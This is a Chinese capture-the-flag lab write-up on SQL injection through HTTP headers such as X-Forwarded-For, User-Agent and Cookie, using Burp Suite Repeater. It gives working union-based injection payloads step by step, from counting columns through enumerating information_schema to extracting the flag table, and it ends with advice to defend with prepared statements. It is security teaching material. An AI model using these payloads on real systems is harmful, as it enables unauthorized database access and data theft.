墨者学院:SQL注入漏洞测试(HTTP头注入)🚀
1. 什么是HTTP头注入?🔍
HTTP头注入是指攻击者通过篡改HTTP请求头部的字段(如User-Agent、Referer、Cookie、Host等),将恶意SQL代码插入到后端数据库查询中。当应用程序未对头部输入进行严格过滤时,可能导致数据库信息泄露或服务器被控制。
典型场景:
- 登录页面的
X-Forwarded-For
记录IP - 用户跟踪的
User-Agent
记录 - 身份验证的
Cookie
字段 - 服务器路由使用的
Host
字段
2. 使用工具:Burpsuite🔧
Burpsuite是渗透测试中常用的拦截/修改HTTP请求的工具,测试将使用Repeater模块,手动修改并重放请求
3. 注入流程详解🎯
步骤1:确定字段数量⚡
order by 5
参数解释:
order by N
:通过递增N判断查询结果的列数,直到返回错误(本例中order by 5
报错,说明列数≤4)。
步骤2:确认回显位⚡
union select 1,2,3,4
参数解释:
union select
:联合查询,数字1-4代表列位置,页面显示的数字即为可回显数据的列(如显示2,3,4则对应第2、3、4列可注入)。
步骤3:获取基础信息⚡
union select 1,user(),version(),database()
参数解释:
user()
:当前数据库用户version()
:数据库版本database()
:当前数据库名称
步骤4:枚举表名⚡
union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='pentesterlab'
参数解释:
information_schema.tables
:系统表存储所有表信息group_concat()
:合并查询结果(避免多行显示)table_schema
:指定目标数据库名
步骤5:枚举列名⚡
union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='pentesterlab' and table_name='flag'
参数解释:
information_schema.columns
:系统表存储所有列信息table_name
:指定目标表名
步骤6:提取数据⚡
union select 1,2,3,group_concat(flag) from flag
参数解释:
- 从
flag
表中提取flag
列的全部数据
4. 总结🏁
- 漏洞成因:未过滤HTTP头部输入,直接拼接SQL查询。
- 防御建议:
- 使用预编译语句(Prepared Statements)
- 对头部参数进行严格白名单验证
- 测试关键:
- 通过
order by
确定列数 - 利用
information_schema
逐步获取数据库结构
- 通过
声明:本文仅用于安全学习,严禁非法测试! ❗❗❗